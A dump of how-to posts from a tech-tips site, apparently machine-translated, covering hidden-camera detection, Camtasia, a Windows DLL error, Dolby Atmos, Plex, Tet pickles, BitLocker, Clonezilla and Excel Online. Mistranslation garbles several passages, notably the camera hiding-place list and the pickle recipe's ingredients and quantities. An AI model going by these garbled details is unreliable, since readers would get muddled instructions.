tracking is probably less scary than the fact that a person is actually watching your actions through a hidden surveillance camera.\n  You may be startled to discover that you appear on CCTV or on a TV newsletter. Over the years, this is becoming more and more popular due to the massive appearance of closed circuit cameras or security cameras, etc.\nBut what about the closer distance? Are you comfortable with a surveillance camera in the office, photo lab, bathroom and changing room? Or anywhere else you don't normally expect a camera to be watching every step you take?\nIf you do not recognize such monitoring devices, your gestures and actions will be monitored and judged.\nThis infringement can be done using professional security cameras or custom built cameras. You can even use a Raspberry Pi, an old smartphone or tablet to build your own security camera.\nMethod 1: Observe with the naked eye 1. Find suspicious signs\nThe camera may be hidden but the lens can only be camouflaged.\nLocate hidden cameras that can be found at home or work. Start searching from places with lots of possibilities like bedrooms, living rooms; Especially near valuables.   Items commonly used to hide cameras inside include books, smoke detectors, ornamental plants, paper boxes, stuffed animals and electrical outlets.   In addition, you should also check the camera in less noticeable items such as gym bags, bags, DVD case covers, air filters, eyeglasses, Lava oil droplets, good buttons Cross-head screwdriver.   Be wary of a small hole, not bigger than the \"O\", which can be on the wall opposite the room.   Observe the mirrors that seem ridiculous when lying there. Hidden cameras are really not easy to find, so you should be aware of possible possibilities.   2. Observe and avoid hidden cameras in public places\nObserve those areas that can provide the best vision. Usually the upper part of buildings or vacant positions, no obstructions.   Observe clear glass or plastic domes, especially colored domes. Public cameras are usually installed behind the protective shield. If the mirror or translucent glass objects are placed opposite your room, the possibility of the camera being installed behind it.   Method 2: Apply camera detection technique 1. Buy a wireless camera detector on the network or outside the electronics store   Use a camera detector to scan the room where you suspect a sneaking device.\n2. Instructions on how to detect camouflaged cameras and cameras in the house by phone Step 1: Download the Fing app and boot up, then in the main interface you will see the Sign in message for more features, click on it and use your Google or Facebook account to login.\n   Step 2: Notice of successful login, click Finish to continue using Fing.\n   Step 3: Now go back to the device list, you will see all the surrounding devices with IP addresses and they will be attached with icons at the top with a specific name.\nIf they have cameras, they will also be displayed here with the camera icon at the top, and may have the name of the manufacturer next, or will be listed as IP Camera. However, in some cases, they will not show the camera icon for you to see. To find the hidden camera, click the Network icon in the middle of the toolbar.\nNote that now you need to find all devices connected to the local network, disconnect all surrounding devices, except for the device you are using Fing to scan the list. Thus the list of scanned devices may be shorter and you will find the camera sneaking more easily.\n   In the Network menu, select Find open ports . Next enter the IP address of the device that you suspect is a hidden camera. Once you've entered your IP address, click the Find the open port button to start retrieving that device information.\n   The search process will take 5-10 minutes depending on your network. When the port discovery process ends, the list of open ports will appear. Be aware of RTSP and RTMP.\nThese are popular ports for video streaming, if you connect the web browser gateway address, it may reveal the video streaming activity of the hidden camera. Just type the IP address into the browser, add a colon and the port number detected (eg 192.168.11.22:80).\n  There are also some cases where an open port cannot be found, you can not always connect to the local network to perform the device search process. But even if I find it, I can't find any camera.\nA sneaky camera can connect to a separate network or have a high level of security that cannot be easily found.\nIf so, look for . smartphone camera. By searching with infrared light, most IP cameras will have to use infrared to shoot at night. Your naked eye may not be able to see this infrared ray, but smartphone cameras do.\nBut not all smartphones can do this, to check if your smartphone can see infrared rays. Use a TV controller and aim the camera at the position of the control light and try to press the control button, if purple light is visible.\n  Next, turn off all lights in the room, then use the camera on your phone and find out where in the room there is a flickering light. If you see lights that are similar to the controller, it is a hidden camera area. You don't need to approach them to see the camera's infrared light clearly.\nRemember, point the camera at locations where you suspect there is a hidden camera, which can be a power outlet, ceiling, ventilation hole, areas in the bathroom . Or objects placed in locations Related rolls because they may contain hidden cameras.\n3. Use another Android or iOS app to find hidden cameras You will find applications for both major smartphone platforms available in the respective app store. For iPhone, Hidden Camera Detector costs $ 4.99 (120,000VND) as the best option.\nMeanwhile, Android users also have the same Hidden Camera Detector application. In addition, you can also see Glint Finder to detect visible lenses.\nRemember that other options are also available. For example, if you have an infrared camera, this device will help detect hidden cameras, while low-cost devices using wireless networks may also appear at the list of Wi-Fi devices. nearby in the house.\nIf you are particularly interested, you might also consider a RF detection hardware worth $ 130 (about 3,000,000 VND), capable of reading signals broadcast by traditional wireless cameras, as illustrated here. :\nDownload Hidden Camera Detector for Android (Free). Download Glint Finder for Android (Free). Download Hidden Camera Detector and Spy Cam Finder for Android (Free). No matter which application you choose, you will be able to detect hidden cameras, speakers, and even computers.\nThey often work in the same way: Staying near a camera or other monitoring device displayed will help you determine its location.\nFor example, you use Hidden Camera Detector. The application is ready to use after downloading and it will show red light when the smartphone is near the camera.\n   The scanner will also glow near other types of hardware, so see the number displayed in the middle of the screen. This number will exceed 100 when the camera is detected.\nFor additional camera detection, Hidden Camera Detector also has IR mode (vertical limit), where you can find cameras that are evading your detection.\nThis is done by pointing the smartphone to an area where a hidden camera is suspected. A bright white disc indicates the presence of a hidden camera.\nOf course, there is no guaranteed way to find hidden cameras. But when you go to a new place, you can follow the steps above. It will help you feel more secure.\nWhat to do when you find a hidden camera? Now every hidden surveillance camera you are watching has been detected. But what should you do next? Of course you can ask the authorities to intervene, but you can also act on your own.\nHowever, be aware that self-action can 'pick up the forest dynamics' and inadvertently warn the observer of your discovery of everything.\nIf you decide to keep everything, use things like tape or adhesive to cover the lens, or do anything outside the camera's viewing angle. For high latency cameras, such as in light bulbs or smoke detectors, it may be difficult to operate outside the camera's view.\nMeanwhile, don't forget that these tips are for everyone and you can use them to track someone, for example, to observe the babysitter.\nIf you are the person who is using the device to sneak others, then stop. Because when discovered, you will be sued!\nRefer to some more articles:\n4 simple ways to protect your eyes when working long in front of electronic devices 10 things you may be doing wrong every day without even realizing it 9 things to avoid putting in the microwave in any form Having fun!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpyVqbKkwIyhoJ2claN6pK3Mnqmaq12Wu6V5w56topuVqHq1tMCtZKyhnaW5unnSp5yao12eu27Ax55kq6efog%3D%3D\n","link":"/post/how-to-detect-hidden-cameras-and-devices-that-simply-sneak-in-the-room/","section":"post","tags":null,"title":"How to detect hidden cameras and devices that simply sneak in the room"},{"body":"Camtasia offers users a variety of tools, video editing features, create completely new videos from the video capture screen on Camtasia, or existing videos. With a rich set of video content editing tools, you can easily customize video like highlighting an object.\nTo highlight an object we can use video animations, or enlarge content when it comes to the slideshow. This also helps viewers focus on the subject being shown on the video. The following article will guide you how to enlarge the object on video with Camtasia.\nHow to pair 2 videos into 1 using Camtasia Studio How to adjust video audio on Camtasia Studio How to separate audio, split video by Camtasia Studio How to cut video by Camtasia Studio Instructions to enlarge video objects on Camtasia Step 1:\nFirst you need to import the video you want to edit into Camtasia, then put the video in the Timeline bar to proceed with the editing.\n  Step 2:\nWe then click on the Zoom and pan tool available in Camtasia to zoom in on the object in need.\n  Step 3:\nNext, the user drags the time bar to the position where he wants to enlarge the object.\n  Look up the above interface area and select the Maintain aspect ratio to keep the current aspect ratio , to avoid changing the frame.\n  Step 4:\nTo enlarge the object in the video we will have 2 ways to do it. You can use the Zoom and pan frame around the video with round dots, then shrink to the object you want to enlarge as shown below.\n  The object results will be enlarged when the slideshow arrives. The matte frame is the original video frame and the frame with the round dots is the new video frame that has been enlarged.\n  Or right in the video display frame, the user clicks on any dot displayed on the frame and pulls out to enlarge the object. Users should choose a video display rate of 25% for ease of implementation.\n  We can also move this zoom frame to another location if desired. Put the mouse pointer on the video frame to display a 4-way arrow, then press and hold the left mouse button to drag the frame to a new position.\n  Step 5:\nIf we want this magnification effect to extend the time, at the Timeline bar below, extend the arrow to increase the duration, the longer the pull, the longer the time increases.\n  Step 6:\nTo bring the video back to its original state , users just need to click on the video in the Timeline bar and then press Delete to delete the zom icon.\nOr click the Scale media to fit entire canvas icon to bring the video back to the old frame size.\n  So you know how to enlarge any object in the video on Camtasia. When the set time is reached, the object in the video will automatically be enlarged so that the viewer can see more clearly than other objects.\nI wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp2eoa6zs8RmraKclaR6sK7JnpqtZZmjeqStzK2YrKGR\n","link":"/post/how-to-enlarge-video-object-in-camtasia/","section":"post","tags":null,"title":"How to enlarge video object in Camtasia"},{"body":"If you try to open a program on a Windows computer and get the error message ' The program can't start because api-ms-win-crt-runtime-l1-1-0.dll is missing from your computer ', things that means Universal CRT , part of Visual C ++ Redistributable did not install properly or the file api-ms-win-crt-runtime-l1-1-0.dll was lost or damaged.\nThe cause of 'api-ms-win-crt-runtime-l1-1-0.dll is missing' error You may get this error when trying to open some Adobe applications, SmartFTP, Skype, Autodesk, Corel Draw, Microsoft Office, XAMPP, etc.\nError message 'The program can't start because api-ms-win-crt-runtime-l1-1-0.dll is missing from your computer' DLL stands for Dynamic Link Libraries and is part of applications that run on Windows or any other operating system. Most applications are not complete and store the code in different files. If there is a need for the code, the relevant file will be loaded into memory and used. If the operating system or software cannot find the related DLL file or if the DLL file is corrupted, you may receive the message 'DLL file is missing '.\nFix 'api-ms-win-crt-runtime-l1-1-0.dll is missing' error Before you begin, make sure that Windows is up to date. Please run Windows Update and confirm this. Also, run the System File Checker to replace potentially corrupted system files. Reinstalling the program that caused this error may also help. If not, see the following options.\nRepair the installed Visual C ++ 2015 Redistributable package If you have installed the Redistributable Visual C ++ 2015 package and received an error, you may need to repair the program. To do this, open Control Panel and go to Programs and Features . Find Microsoft Visual C ++ 2015 Redistributable (x64) , right-click on it, select Change\u0026gt; Repair .\nRepair the installed Visual C ++ 2015 Redistributable package Re-register the DLL file If the DLL file is present on the computer, but you still receive this error message, you may need to re-register the DLL file.\nIf the missing DLL file downloaded from the Internet and pasted to a specific location is not the solution to the problem, you can try the above method, but sometimes it does not bring any positive results at all. .\nUpdated for Universal C Runtime Download Update for Universal C Runtime from Microsoft. Install the Runtime component and restart the computer. Just to provide information, boot Windows 10 as Universal CRT has become part of the operating system already.\nInstall Microsoft Visual C ++ Redistributable Update If this does not help, you may need to install Microsoft Visual C ++ Redistributable Update from Microsoft. You need to choose the operating system architecture, ie 64 bit or 32 bit.\nMicrosoft Visual C ++ Redistributable for Visual Studio 2017 Like the Visual C ++ 2015 Redistributable package, some programs use Microsoft Visual C ++ Redistributable for Visual Studio 2017. You may need to install this package here.\nYou can try the solutions mentioned above to fix this problem and see which solution works for you.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp6ZrXq1tMRmp6unl6eurnnCmqWtZaOprrPAjJucnJmlqLJurc%2BipKyvmaOws8DRrqWtoZ2auXJ9j52jpWWZqHqutdKsoKefXZu%2FsLmMsqauql2YvK681K2cqw%3D%3D\n","link":"/post/how-to-fix-the-program-can-t-start-because-api-ms-win-crt-runtime-l1-1-0-dll-is-missing-from-your-computer/","section":"post","tags":null,"title":"How to fix 'The program can't start because api-ms-win-crt-runtime-l1-1-0.dll is missing from your computer'"},{"body":"If you find that Dolby Atmos for one reason or another is not working on your PC, you can try the solutions in this article to resolve the issue.\nBefore you try the solutions below, check what updates and settings are available on your Windows 10 device, then see if Dolby Atmos works as it should.\n1. Run the audio debugger   You start troubleshooting Dolby Atmos not working by running Windows 10's built-in Audio Troubleshooter. If this doesn't help, try the next solution.\n2. Update audio driver driver Updating audio drivers installed on Windows 10 PCs is one of the most effective solutions to fix Dolby Atmos problems.\nYou can update your drivers manually through Device Manager, or you can get driver updates in the Optional Updates section of Windows Update. You can also download the latest driver version from the sound card manufacturer's website.\n3. Rollback (restore) old audio drivers If updating the audio driver doesn't solve the problem, you can restore the driver to an older version that is working.\n4. Reset the Dolby application You can reset the Dolby app and see if that helps.\n5. Uninstall and reinstall the Dolby app If resetting the app doesn't solve the current problem, you can uninstall the Dolby app, then go to the Microsoft Store, search, download, and reinstall the app on your device.\n6. Make sure Audio Service is running If Audio Service is not running on your Windows 10 device, you may experience this issue. So check if this service is running and start the service if it is not running.\n7. Perform a system restore If you've noticed that this issue started happening recently, it's entirely possible that the problem is caused by a recent system change that you can't identify. In this case, you can restore your system to an earlier point in time. This will restore your system to its previous point when it was operating normally.\nGood luck with your troubleshooting!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp6ZrXqlu8ubsGaZpKK8tHnEq6moql2jvLV51qippKGenHqwuoywoKecn6zAbn2P\n","link":"/post/how-to-fix-dolby-atmos-error-not-working-on-windows-10/","section":"post","tags":null,"title":"How to Fix Dolby Atmos error not working on Windows 10"},{"body":"Many people hate to transfer or synchronize media files with other devices because it is a time-consuming process and then running files on different devices also needs additional support. Fortunately, Plex Media Server has been designed to solve this problem, it works on most platforms including Android and iOS .\nUsing Plex, users can store media files in one place and share all these files with any other device in the same network. Other devices can play media shared by streaming directly from the media server (using \"Plex Media Player\").\nShare media data between iOS operating system and Android phone with Plex   In fact, Plex is a great application that manages a large number of media files. In addition, it is highly adaptable and supports multiple platforms and devices, providing users with a number of options to enjoy movies and TV shows. And it's free.\nInstructions for installing Plex on Windows 10 and watching movies on mobile phones 1. Install Plex Condition Guide  2. Add media media to the Plex Media Server Guide Tips and tricks  3. View media files on mobile phones Condition Guide  1. Install Plex First, you must install Plex Media Server to store all media files.\nCondition Before going into the detailed installation process, users need:\nSign up for a Plex account Download Plex Media Server for Windows. Guide Below are instructions for installing Plex Media Server on Windows 10 :\nStep 1: Open the downloaded installation file of Plex Media Server.\n  Step 2: Click Install and click Yes if you see UAC's message.\nStep 3: Please wait until you see the ' Setup Successful ' message and then click Launch .\n  So it has completed the installation of Plex Media Server and now is the time to use it.\n2. Add media media to the Plex Media Server Although Plex automatically starts up after clicking the Launch button, in case it doesn't start automatically (due to some problems), just search and start it from the Start menu. It takes some time to set up everything but not much.\nGuide Please follow the instructions below to set up Plex and add media files.\nStep 1: If the Plex page is not opened in any browser window, right-click its icon in the notification area (in the Taskbar) and select Open Plex .\nStep 2: Go to Plex page in your web browser and log in with your Plex account.\nStep 3: Agree to the terms of service (if required) or click GOT IT (if any information is displayed).\nStep 4: Enter a name and uncheck ' Allow me to access my media outside my home ' if you only want to access or stream media files on the home network (LAN or WiFi network) and finally press NEXT .\n  Step 5: Now click the ADD LIBRARY button to create a new media library on the server. You can also edit the default library by clicking on the pencil button.\n  Step 6: Select the type of library for the new library from the pop-up window, enter a name, select a language with the name entered and then click NEXT .\n  Step 7: Click \" BROWSE FOR MEDIA FOLDER \" and select the location in the Windows computer containing the media you want to add in this new library and click ADD .\n  Step 8: Select the Advanced section from the left menu and set advanced options if you want to configure the new library. And finally click ADD LIBRARY to continue.\n  Step 9: After reaching the Finish screen, click DONE to complete the setup process and move to the Plex dashboard. Its smart scanning tool will start cataloging to organize everything available in the library.\n  Now successfully configured Plex Media Server on Windows computer and ready to play media file content for other devices.\nTips and tricks Here are some tips and tricks for Plex Media Server to work properly\u0026nbsp; and play media files smoothly to multiple devices.\nLike any server program (like WordPress), Plex Media Server only works\u0026nbsp; If its server, for example, a Windows computer is turned on and Plex Media Server has to run (check the Plex icon in the notification area) you won't be able to transfer the media file. Windows computers must have a lot of free storage space for Plex Media Server to operate because it needs space to download information or data. Transcoding and streaming media files using a huge amount of system resources, so need powerful hardware (mainly CPU and GPU) especially if many users want to connect and transfer media from the server . 3. View media files on mobile phones Now you can use Plex to enjoy media on any device. Let's start with mobile phones. The following are some conditions before using Plex on mobile phones.\nCondition Download Plex for Android (or for some other devices)   Guide The instructions below will share the steps taken for the Android platform, but with other platforms are similar.\nStep 1: Open the Plex app for Android and click on the Sign in link.\nStep 2: Enter the login information for your Plex account and click on the SIGN IN button.\n  Step 3: On the next screen, click \" STAY IN TRIAL MODE \" and watch the limited-length videos, or click the ACTIVATE button to pay a small fee and enjoy the full-length videos.\nStep 4: All is done and now you will see Plex dashboard.\n  Plex will automatically detect the media server and connect to it. As a result, you will see a media collection from your Windows computer on your Android device and can play or continue playing videos directly from your mobile device to enjoy anywhere. It will continue to play video from the same point and synchronize information with the server, allowing pause on one device and continue playing on another device.\n  In addition, users can do more by using Plex applications for Android such as video search, channel browsing, creating and playing playlists. It also allows creation of a \" Watch Later \" list for future videos.\nThe Settings page has different options and settings so that users can check and set various options to customize the application on demand.\n  I wish you all success and watch the movie fun!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqGeqMGiuMtmp6WdqGK8r3nWoqWdp6eoenJ8jJqlnWWnlsGktIympq%2Bhlah6orrYsJ%2BeqpU%3D\n","link":"/post/how-to-install-plex-on-windows-10-and-watch-movies-anywhere/","section":"post","tags":null,"title":"How to install Plex on Windows 10 and watch movies anywhere"},{"body":"Salted pickles are only side dishes, but are rarely absent from the family's Tet offerings. A slightly sour taste of pickles will help people resist the meaty platter.\nHere is how to make delicious and popular pickled pickles on the traditional Tet holiday in 3 regions of North, Central and South.\n1. How to pickle pickled salt (North) Resources 1kg of onion Vinegar, sugar, salt and fish sauce   Making Fresh onion onions are pre-prepared: cut the ends short, remove the roots, remove the outer shell to retain only the white tubers inside. Soak the bulbs in dilute salt water for about a day.\n  After a day, remove the onion and rinse with clean water, pour into the basket to drain.\nAccording to this new salt, you will use fish sauce, sugar, vinegar to make nine onions rather than using salt in the traditional way. This will help white onions, crispy and long more broken.\nPrepare the salted onions in proportion: 1 bowl of fish sauce + 2/3 of sugar bowl + 1 bowl of vinegar + 1.5 bowls of water. Note that you should buy delicious rice vinegar to ensure safety and delicious pickled onions. Boil the freshly prepared mixture and wait for it to cool.\n  Rinse, dry the jar / jar used to make salt to prevent pickles and boots, not delicious. Onions have been drained and placed in a jar and poured cold water. Note that fish sauce must be flooded with onions and if you like spicy, you can add chili.\nCover the salt onions and leave in a cool place. After about a week you can take the onion and enjoy it.\n2. How the salt of the palanquin (Southern + Central) Resources 1kg of kernels White sugar, granular salt, vinegar, alum, garlic   Making The palanquin bought and cleaned it and put it in soaked salt water and an alum. After about 1 hour to remove the alum, continue to soak the palanquin in dilute salt water.\n  After a day, take the tuber into a basket, wash and drain. Bring the palanquin to the sun for a day for a little wilt.\nThere are 2 ways to soak your palanquin:\nWay 1\nAdd sugar to mix with palanquin, then put the palanquin into clean, dry jar for 7 - 14 days. This method helps the natural sour, crunchy, clear in color, to last for a long time without much acidity or alcohol.\nThe sugarcane soaked during that time was fermented and could be enjoyed. But if you want to be more sour, you can pour the cooled boiled vinegar into the pot of sugar that has been soaked.\n  Method 2\nMix 1 bowl of vinegar + 1/3 teaspoon salt + 1 bowl of sugar and boil to cool. After the palanquin has drained into the salt jar, pour the cooled mixture so that it covers the palanquin surface. After 2 weeks, you can enjoy the delicious, crunchy, tasty palanquin.\n  To make the melon look more beautiful, attractive and delicious, you should change the juice once a week and add vegetables such as carrots, onions, chili to soak together.\nHow salted onion, tubers are not too difficult, but you should salt at the right time to cook the pickles until the Tet holiday. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqiZmLitsYyapZ1loJ6wrLjEZqqapKRitq%2BwyKynnqajlq%2BtsYysrp6dpGKur7CMrKauql2lrq2tzaqsoqZdpLtuwsieq6eZnZrApnnNnq5msZWWvw%3D%3D\n","link":"/post/how-to-pickle-and-pickle-salt-indispensable-sweet-and-sour-palanquin-on-vietnamese-new-year/","section":"post","tags":null,"title":"How to pickle and pickle salt, indispensable sweet and sour palanquin on Vietnamese New Year"},{"body":"Microsoft provides users with a BitLocker encryption tool to ensure user data is protected at the highest level. If you have some important data to store in your computer hard drive or USB flash drive, you can use the BitLocker encryption tool.\nIn the article below, Network Administrator will show you how to enable BitLocker on Windows 8.\nSteps to enable BitLocker on Windows 8: Note: In this tutorial, enable BitLocker for C drive\nStep 1: Open Control Panel.\n  Step 2: On the Control Panel interface, click System and Security.\n  \nStep 3: Select the BitLocker Drive Encryption option in the list of right frame options.\n  Step 4: Select Turn on BitLocker next to the C drive.\n  If the error message dialog box appears, as shown below, it means that you cannot open BitLocker.\n  To fix this error, refer to the steps below:\n1. Press the Windows + R key combination to open the Run command window.\n2. On the Run command window, type the following command and then click OK to open Local Group Policy Editor:\ngpedit.msc\n  \n3. In the Local Group Policy Editor window, navigate to the following path to find and double-click the Require additional authentication at startup option:\nLocal Computer Policy / Computer Configuration / Administrative Templates / Windows Components / Bit Locker Drive Encryption / Operating System Drives / Require additional authentication at startup\n  \n4 On the Require additional authentication at startup window , in the left pane, select Enable.\n  \nNow the Allow BitLocker option without a compatible TPM is automatically selected.\nNext, click OK to save the changes and close Local Group Policy Editor.\n5. Click Turn on BitLocker again and wait for BitLocker to check your computer configuration.\n  6. On the next interface, click Next.\n  \n7. Next select Next .\n  8. Wait for the program to prepare BitLocker for the drive.\n  9. Click Restart now to finish the process of preparing the system drive encryption.\n  10. After starting, click Next to encrypt the drive.\n  Step 5: Select Enter a password or Insert a USB flash drive to unlock the drive.\n  1. If you select Insert a USB flash drive , you must insert a USB drive into the computer, then select the USB drive and click Save.\n  \n2. If you select Enter a password , enter the 8-character password or more in the Enter your password box, then re-enter the password in the Reenter your password box and then click Next to continue.\n  Step 6: Select one of the options Save to your Microsoft account, Save to a flash drive USB, Save to a file and Print the recovery key to save Recovery key. After selecting, click Next .\n  Step 7: Select Encrypt used disk space only or Encrypt entire drive, then click Next.\n  \nStep 8: Select Continue to encrypt the drive.\n  Step 9: Select Restart now to restart your computer.\n  From now on you will be asked to enter the password to unlock the encrypted system drive.\n  Refer to some of the following articles: Instructions for encrypting USB or memory cards with Bitlocker on Windows 10 How to use Bitlocker to encrypt data on Windows 10 (Part 1) How to use Bitlocker to encrypt data on Windows 10 (The last part) Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq2jmnqjtdOlppyjlad6tbuMnqWcqqmlwW6wwK2YZqeeYsSqusOorqxlaA%3D%3D\n","link":"/post/how-to-use-bitlocker-to-encrypt-data-on-windows-8/","section":"post","tags":null,"title":"How to use BitLocker to encrypt data on Windows 8"},{"body":"Clonezilla is a cross-platform, open source hard drive cloning software program. It's used to make exact an exact copy of a bootable hard drive. In order to use this software, you will need a blank CD/DVD or a USB drive, as well as a spare...\nMethod 1of 3:\nSetting Up Clonezilla  Download the latest, stable version of Clonezilla Live. You can get the current version of Clonezilla from its Sourceforge page. You can also download Clonezilla from the Clonezilla website.   Burn the ISO file onto a blank CD or DVD.[1] The process for burning Clonezilla onto a CD/DVD will differ, depending on what operating system you're using. If you want to use a USB drive, download Clonezilla Live as a zip file.[2] If you'd rather not create your own Clonezilla Live CD/DVD or USB drive, you can purchase Clonezilla CDs and USB drives from authorized Clonezilla vendors.   Install an external or internal drive. Before rebooting with Clonezilla, make sure that a blank external or internal hard drive is connected to your computer. In order for the disk clone to work, the cloning destination drive needs to as big or bigger than the source drive being cloned.   Boot from the Clonezilla CD/DVD or USB drive. The process for booting from a CD/DVD or USB drive will be different depending on your operating system and computer.[3] On a Windows or Linux machine, put the Clonezilla Live CD/DVD into your computer, and then reboot your computer. Press F2, F10, F12, or Del to enter your computer BIOS menu. In the BIOS menu, go to the Boot submenu, and then change the first boot device to CD-ROM. On a Mac, put the Clonezilla Live CD/DVD into your computer, and then reboot your computer. While the computer reboots, press and hold the C key until you see the boot sequence starting.  Method 2of 3:\nCloning a Drive  Select the default Clonezilla mode. Once Clonezilla Live loads, it will automatically boot using the default mode options.[4] If you want other modes, use the up or down arrow keys to navigate to different menu options, and then press Enter.   Choose a language. On the Choose language screen, use the up or down arrow keys to select your language, and then press the Enter key.\n  Select the default keyboard layout. On the Configuring console-data screen, select the Don't touch keymap menu option, and then press the Enter key. Clonezilla's default keyboard layout is the US keyboard. If you're using another keyboard layout, choose the Select keymap from arch list or Select keymap from full list options.   Start Clonezilla. On the Start Clonezilla screen, choose the Start Clonezilla option, and then press the Enter key.\n  Choose the device-image option. Move the cursor to the device-image option, and then press the spacebar to select it. An asterisk is added to show it's selected. Press the Enter key. This option will clone the hard disk as an image on another drive instead of on a partition.   Choose the local_dev option. Move the cursor to the local_dev option, and then press the spacebar to select it. An asterisk is added to show it's selected. Press the Enter key. This option will let your clone the hard disk to an internal or external hard disk.   Choose the sdb1 8G_ext4 option. Move the cursor to the sdb1 8G_ext4 option, and then press the space to select it. An asterisk is added to show it's selected. Press the Enter key. This option will clone the disk to the first partition on the second internal or external disk.   Choose the directory for the Clonezilla image. Move the cursor to the / Top_directory_in_the_local_device option, and then press the spacebar to select it. Press the Enter key. Review the disk usage report, and then press the Enter key to continue.\n  Choose Beginner mode. Move the cursor to the Beginner option, and then press the spacebar to select it. An asterisk is added to show it's selected. Press the Enter key. Expert mode options aren't covered in this article.[5]   Choose the save disk option. Move the cursor to the save disk option, and then press the spacebar to select it. Press the Enter key.\n  Type a name for the disk image. In the Input a name field, type a meaningful name for the saved image, and then press the Enter key. It's usually helpful to include the date in the saved disk image name.   Select the disk you want to clone. Move the cursor to the name of the disk you'd like to clone, and then press the spacebar to select it. Press the Enter key. It's important that you know the name of the drive that you want to clone. If you don't know, it's better to Cancel the process, check the disk name, and restart the process from the beginning.   Skip checking the file system. Choose the Skip checking/repairing file system option, press the spacebar to select it, and then press the Enter key. If you're worried that the source drive is damaged or corrupted, choose the -fscj-src-part option to complete an interactive file system check before cloning the disk.   Check the saved image. Choose the Yes, check the saved image option, press the space to select it, and then press the Enter key.\n  Decide whether to continue. This is the final step before starting the cloning process. If you're not sure you'd like to continue, type N, and then press the Enter key. If you want to clone the hard disk, type Y, and then press the Enter key. If you choose to continue, Clonezilla begins the cloning process.   Quit Clonezilla. When the hard disk cloning is completed, type 2, and then press the Enter key to start exiting Clonezilla. On the Choose mode screen, choose the Poweroff option, press the spacebar, and then press the Enter key. Before the computer finishes powering down, Clonezilla will prompt you to remove the CD/DVD or USB drive. Do so, and then press the Enter key. Your computer will power off.\n Method 3of 3:\nRestoring a Drive  Select the default Clonezilla mode. Once Clonezilla Live loads, it will automatically boot using the default mode options.[6] If you want other modes, use the up or down arrow keys to navigate to different menu options, and then press Enter.   Choose a language. On the Choose language screen, use the up or down arrow keys to select your language, and then press the Enter key.\n  Select the default keyboard layout. On the Configuring console-data screen, select the Don't touch keymap menu option, and then press the Enter key. Clonezilla's default keyboard layout is the US keyboard. If you're using another keyboard layout, choose the Select keymap from arch list or Select keymap from full list options.   Start Clonezilla. On the Start Clonezilla screen, choose the Start Clonezilla option, and then press the Enter key.\n  Choose the device-image option. Move the cursor to the device-image option, and then press the spacebar to select it. An asterisk is added to show it's selected. Press the Enter key. This option will clone the hard disk as an image on another drive instead of on a partition.   Choose the local_dev option. Move the cursor to the local_dev option, and then press the spacebar to select it. An asterisk is added to show it's selected. Press the Enter key. This option will let your clone the hard disk to an internal or external hard disk.   Choose the sdb1 8G_ext4 option. Move the cursor to the sdb1 8G_ext4 option, and then press the space to select it. An asterisk is added to show it's selected. Press the Enter key. This option will clone the disk to the first partition on the second internal or external disk.   Choose the directory for the Clonezilla image. Move the cursor to the / Top_directory_in_the_local_device option, and then press the spacebar to select it. Press the Enter key. Review the disk usage report, and then press the Enter key to continue.\n  Choose Beginner mode. Move the cursor to the Beginner option, and then press the spacebar to select it. An asterisk is added to show it's selected. Press the Enter key. In order to restore a drive, you'll need the source and destination drives both connected to your computer and turned on.   Restore a cloned disk. Choose the restore disk option, press the spacebar, and then press the Enter key.\n  Select the cloned disk image to restore. Choose the cloned disk image you want to restore, press the spacebar, and then press the Enter key.\n  Select the target disk. Choose the target disk for restoring, press the spacebar, and then press the Enter key. On the next screen, choose the target disk for restoring again, press the spacebar, and then press the Enter key. When you restore a cloned drive to a target disk, it will overwrite any content that's on the target disk with the cloned drive.   Confirm the restore. Clonezilla will ask you twice if you want to restore the cloned disk. When it prompts you to, type Y, and then press the Enter key. When it prompts you again, type Y, and then press the Enter key.\n  Quit Clonezilla. When the hard disk cloning is completed, type 2, and then press the Enter key to start exiting Clonezilla. On the Choose mode screen, choose the Poweroff option, press the spacebar, and then press the Enter key. Before the computer finishes powering down, Clonezilla will prompt you to remove the CD/DVD or USB drive. Do so, and then press the Enter key. Your computer will power off.\n  David Pac Update 05 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq2jmnqkuM6nnLOhnKGu\n","link":"/post/how-to-use-clonezilla/","section":"post","tags":null,"title":"How to Use Clonezilla"},{"body":"In order to support users, Microsoft has released a set of Microsoft Office Online full products with full office tools that are familiar to users, including support features such as using Microsoft Office installed on computer.\nWith Excel Online, users can fully perform familiar operations with features similar to Excel on a computer. You can create statistical forms, charters, or use metrics to model, . In addition, Excel Online also allows users to choose to download content to a computer, or store it. Online on OneDrive. As such, we will work with data anytime, anywhere, on any device. In the article below, we will show you how to use Excel Online.\n1. Create an account using Excel Online: Step 1: First of all, we can access the link below to use Excel Online for free.\nUse Excel Online Step 2: At this interface, users scroll down below the Excel Online section and then click on Start using Excel .\n  Step 3: In order to be able to use Excel Online, users need a Microsoft account . In the absence of this, you can create a new Microsoft account. If available, click on Login with Microsoft account .\n  Enter the information of your personal Microsoft account to continue.\n  Once you have logged in to your Microsoft account and the interface appears as shown below, click Select Received .\n  2. How to create a new Excel Online working window: Step 1: The interface that starts working on Excel Online will look like the image below. To start editing Excel with a new worksheet, click the new blank Workbook .\n  Step 2: Soon the user will come to the new window interface in Excel. The interface of Excel Online online is similar to Microsoft Excel on the computer.\nTools to create tables, edit tables, enter data, . are displayed at the top.\n  Step 3: For example, to create a data table, you perform the same operations as in Excel, enter the content, then create a table, name the data, or color the table, .\n  Step 4: To save the working version on Excel online , click on the File section above, select Save as and finally select Download copy to download the file to your computer, or select Save to OneDrive.\n  3. How to download Excel file from computer to Excel Online: Excel Online supports users to download Excel file from computer, then edit directly on Excel Online.\nStep 1: In the interface of Excel Online, we click on OneDrive above.\n  Step 2: To the new interface, users click on Upload\u0026gt; File then select the folder containing the Excel file to be edited in Excel Online.\n  Step 3: Immediately after that you will see the file just download link appears in the interface of OneDrive, click on the file to proceed to edit.\n  Finally, we also proceed to edit the content of the data file just uploaded, with the full tools and other editing functions provided by Excel Online.\n  Above is a tutorial on how to use Excel Online basically. For those who do office work and often have to calculate data, create a statistics table, Excel is an indispensable tool. And with Microsoft's online Excel version, users 